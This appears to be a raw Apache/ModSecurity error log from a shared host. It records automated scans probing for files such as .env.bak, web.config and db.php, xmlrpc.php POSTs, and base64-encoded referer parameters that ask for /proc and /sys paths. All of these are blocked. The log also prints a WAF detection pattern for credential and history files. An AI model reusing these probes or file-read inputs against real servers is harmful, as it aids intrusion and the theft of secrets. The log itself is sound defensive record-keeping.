http://cpcalendars.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:08.801863 2026] [proxy:error] [pid 531155:tid 531383] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:09:08.801904 2026] [proxy_http:error] [pid 531155:tid 531383] [client 91.92.42.86:38682] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:08.803375 2026] [proxy:error] [pid 531797:tid 532053] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:09:08.803478 2026] [proxy_http:error] [pid 531797:tid 532053] [client 91.92.42.86:38672] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:08.804309 2026] [proxy:error] [pid 531797:tid 532053] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:09:08.804354 2026] [proxy_http:error] [pid 531797:tid 532053] [client 91.92.42.86:38672] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:08.806833 2026] [proxy:error] [pid 531155:tid 531363] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:09:08.806898 2026] [proxy_http:error] [pid 531155:tid 531363] [client 91.92.42.86:38698] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:08.806992 2026] [proxy:error] [pid 531155:tid 531288] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:09:08.807054 2026] [proxy_http:error] [pid 531155:tid 531288] [client 91.92.42.86:38704] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:08.807400 2026] [proxy:error] [pid 531155:tid 531363] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:09:08.807442 2026] [proxy_http:error] [pid 531155:tid 531363] [client 91.92.42.86:38698] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:08.807766 2026] [proxy:error] [pid 531155:tid 531288] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:09:08.807801 2026] [proxy_http:error] [pid 531155:tid 531288] [client 91.92.42.86:38704] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:08.814216 2026] [access_compat:error] [pid 531155:tid 531188] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZS9zdWJzeXN0ZW0vZXZlbnQzL3Bvd2Vy [Sat Jun 13 18:09:08.814671 2026] [access_compat:error] [pid 531155:tid 531188] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZS9zdWJzeXN0ZW0vZXZlbnQzL3Bvd2Vy [Sat Jun 13 18:09:08.829083 2026] [security2:error] [pid 531155:tid 531382] [client 91.92.42.86:38718] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.guu.rog.mybluehost.me"] [uri "/db.php"] [unique_id "ai3xJCmiP80klyS0Nnrv5gAAAWs"], referer: http://cpcalendars.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:08.832083 2026] [security2:error] [pid 531797:tid 532105] [client 91.92.42.86:38712] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "web.config"] [severity "CRITICAL"] [hostname "cpcontacts.guu.rog.mybluehost.me"] [uri "/___proxy_subdomain_cpcontacts/web.config"] [unique_id "ai3xJMTA7b1mZrmcA-8YeQAAAn4"], referer: http://cpcontacts.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:08.839018 2026] [security2:error] [pid 531797:tid 532065] [client 91.92.42.86:38728] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.guu.rog.mybluehost.me"] [uri "/settings.php"] [unique_id "ai3xJMTA7b1mZrmcA-8YegAAAlc"], referer: http://cpcalendars.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:08.862612 2026] [proxy:error] [pid 531797:tid 532084] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:09:08.862707 2026] [proxy_http:error] [pid 531797:tid 532084] [client 91.92.42.86:38734] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:08.863590 2026] [proxy:error] [pid 531797:tid 532084] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:09:08.863630 2026] [proxy_http:error] [pid 531797:tid 532084] [client 91.92.42.86:38734] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:08.868777 2026] [access_compat:error] [pid 531797:tid 531873] [remote 57.141.14.6:59908] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:08.869056 2026] [access_compat:error] [pid 531797:tid 531873] [remote 57.141.14.6:59908] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:08.870947 2026] [security2:error] [pid 531797:tid 532086] [client 91.92.42.86:38748] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcontacts.guu.rog.mybluehost.me"] [uri "/settings.php"] [unique_id "ai3xJMTA7b1mZrmcA-8YfQAAAmw"], referer: http://cpcontacts.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:08.882178 2026] [proxy:error] [pid 531797:tid 532007] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:09:08.882248 2026] [proxy_http:error] [pid 531797:tid 532007] [client 91.92.42.86:38764] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:08.882764 2026] [proxy:error] [pid 531797:tid 532007] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:09:08.882797 2026] [proxy_http:error] [pid 531797:tid 532007] [client 91.92.42.86:38764] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:08.884097 2026] [security2:error] [pid 531797:tid 532119] [client 91.92.42.86:38774] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "web.config"] [severity "CRITICAL"] [hostname "cpcalendars.guu.rog.mybluehost.me"] [uri "/___proxy_subdomain_cpcalendars/web.config"] [unique_id "ai3xJMTA7b1mZrmcA-8YgAAAAos"], referer: http://cpcalendars.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:08.890518 2026] [access_compat:error] [pid 531155:tid 531176] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:09:08.890789 2026] [access_compat:error] [pid 531155:tid 531176] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:09:08.905220 2026] [proxy:error] [pid 531797:tid 532011] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:09:08.905303 2026] [proxy_http:error] [pid 531797:tid 532011] [client 91.92.42.86:38790] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:08.906609 2026] [proxy:error] [pid 531797:tid 532011] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:09:08.906721 2026] [proxy_http:error] [pid 531797:tid 532011] [client 91.92.42.86:38790] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:08.906729 2026] [security2:error] [pid 531797:tid 532027] [client 91.92.42.86:38798] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcontacts.guu.rog.mybluehost.me"] [uri "/db.php"] [unique_id "ai3xJMTA7b1mZrmcA-8YggAAAjM"], referer: http://cpcontacts.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:08.913250 2026] [security2:error] [pid 531797:tid 532029] [client 91.92.42.86:38802] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.guu.rog.mybluehost.me"] [uri "/settings.php"] [unique_id "ai3xJMTA7b1mZrmcA-8YgwAAAjQ"], referer: http://mail.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:08.923701 2026] [proxy:error] [pid 531797:tid 532037] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:09:08.923784 2026] [proxy_http:error] [pid 531797:tid 532037] [client 91.92.42.86:38822] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:08.924801 2026] [proxy:error] [pid 531797:tid 532037] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:09:08.924845 2026] [proxy_http:error] [pid 531797:tid 532037] [client 91.92.42.86:38822] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:08.929421 2026] [security2:error] [pid 531155:tid 531380] [client 20.151.217.54:17063] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.adbadvertising.com"] [uri "/Cap.php"] [unique_id "ai3xJCmiP80klyS0Nnrv7AAAAWk"] [Sat Jun 13 18:09:08.936971 2026] [proxy:error] [pid 531797:tid 532093] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:09:08.937059 2026] [proxy_http:error] [pid 531797:tid 532093] [client 91.92.42.86:38854] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:08.937928 2026] [proxy:error] [pid 531797:tid 532093] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:09:08.937979 2026] [proxy_http:error] [pid 531797:tid 532093] [client 91.92.42.86:38854] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:08.948431 2026] [security2:error] [pid 531155:tid 531393] [client 91.92.42.86:38862] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcontacts.guu.rog.mybluehost.me"] [uri "/database.php"] [unique_id "ai3xJCmiP80klyS0Nnrv7QAAAXY"], referer: http://cpcontacts.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:08.959816 2026] [security2:error] [pid 531797:tid 532122] [client 91.92.42.86:38890] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "web.config"] [severity "CRITICAL"] [hostname "webdisk.guu.rog.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/web.config"] [unique_id "ai3xJMTA7b1mZrmcA-8YjAAAAo4"], referer: http://webdisk.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:08.968750 2026] [proxy:error] [pid 531797:tid 532077] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:09:08.968856 2026] [proxy_http:error] [pid 531797:tid 532077] [client 91.92.42.86:38906] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:08.969945 2026] [proxy:error] [pid 531797:tid 532077] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:09:08.969996 2026] [proxy_http:error] [pid 531797:tid 532077] [client 91.92.42.86:38906] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:08.972533 2026] [security2:error] [pid 531797:tid 532094] [client 91.92.42.86:38712] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "cpcontacts.guu.rog.mybluehost.me"] [uri "/___proxy_subdomain_cpcontacts/.env.bak"] [unique_id "ai3xJMTA7b1mZrmcA-8YjgAAAnM"], referer: http://cpcontacts.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:08.975168 2026] [security2:error] [pid 531797:tid 532107] [client 91.92.42.86:38922] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.guu.rog.mybluehost.me"] [uri "/database.php"] [unique_id "ai3xJMTA7b1mZrmcA-8YjwAAAoA"], referer: http://mail.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:08.987573 2026] [security2:error] [pid 531155:tid 531308] [client 91.92.42.86:38948] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "cpcalendars.guu.rog.mybluehost.me"] [uri "/___proxy_subdomain_cpcalendars/.env.bak"] [unique_id "ai3xJCmiP80klyS0Nnrv8AAAASE"], referer: http://cpcalendars.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:09.012763 2026] [security2:error] [pid 531797:tid 532126] [client 91.92.42.86:38956] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.guu.rog.mybluehost.me"] [uri "/database.php"] [unique_id "ai3xJcTA7b1mZrmcA-8YkgAAApE"], referer: http://webdisk.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:09.019956 2026] [security2:error] [pid 531797:tid 532044] [client 91.92.42.86:38772] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.guu.rog.mybluehost.me"] [uri "/db.php"] [unique_id "ai3xJcTA7b1mZrmcA-8YkwAAAkM"], referer: http://mail.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:09.068374 2026] [security2:error] [pid 531797:tid 532073] [client 91.92.42.86:38808] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "webdisk.guu.rog.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/.env.bak"] [unique_id "ai3xJcTA7b1mZrmcA-8YlwAAAl8"], referer: http://webdisk.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:09.074185 2026] [security2:error] [pid 531797:tid 532030] [client 91.92.42.86:38852] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.guu.rog.mybluehost.me"] [uri "/settings.php"] [unique_id "ai3xJcTA7b1mZrmcA-8YmAAAAjU"], referer: http://webdisk.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:09.080342 2026] [security2:error] [pid 531797:tid 531998] [client 91.92.42.86:39002] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.guu.rog.mybluehost.me"] [uri "/db.php"] [unique_id "ai3xJcTA7b1mZrmcA-8YmgAAAhY"], referer: http://webdisk.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:09.092941 2026] [security2:error] [pid 531155:tid 531166] [remote 31.24.44.107:34648] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 107.44.24.31.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "agribiolink.com"] [uri "/xmlrpc.php"] [unique_id "ai3xJSmiP80klyS0Nnrv9QABQwo"] [Sat Jun 13 18:09:09.093131 2026] [security2:error] [pid 531155:tid 531342] [client 31.24.44.107:34648] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "agribiolink.com"] [uri "/xmlrpc.php"] [unique_id "ai3xJSmiP80klyS0Nnrv9QABQwo"] [Sat Jun 13 18:09:09.166672 2026] [security2:error] [pid 531155:tid 531378] [client 91.92.42.86:39044] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "webmail.guu.rog.mybluehost.me"] [uri "/___proxy_subdomain_webmail/.env.bak"] [unique_id "ai3xJSmiP80klyS0Nnrv-AAAAWc"], referer: http://webmail.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:09.197511 2026] [security2:error] [pid 531155:tid 531285] [client 20.151.217.54:48159] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.celadondragon.com"] [uri "/alr.php"] [unique_id "ai3xJSmiP80klyS0Nnrv-gAAAQo"] [Sat Jun 13 18:09:09.207953 2026] [security2:error] [pid 531797:tid 532128] [client 91.92.42.86:39048] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.guu.rog.mybluehost.me"] [uri "/settings.php"] [unique_id "ai3xJcTA7b1mZrmcA-8YnwAAApM"], referer: http://webmail.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:09.214828 2026] [access_compat:error] [pid 531797:tid 531964] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvODkxNDU2L2N3ZA== [Sat Jun 13 18:09:09.215137 2026] [access_compat:error] [pid 531797:tid 531964] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvODkxNDU2L2N3ZA== [Sat Jun 13 18:09:09.219971 2026] [security2:error] [pid 531797:tid 532081] [client 91.92.42.86:39064] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.guu.rog.mybluehost.me"] [uri "/db.php"] [unique_id "ai3xJcTA7b1mZrmcA-8YoQAAAmc"], referer: http://webmail.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:09.261162 2026] [access_compat:error] [pid 531155:tid 531156] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:09:09.261621 2026] [access_compat:error] [pid 531155:tid 531156] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:09:09.303773 2026] [security2:error] [pid 531155:tid 531314] [client 191.234.188.123:47947] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/ca-022.php"] 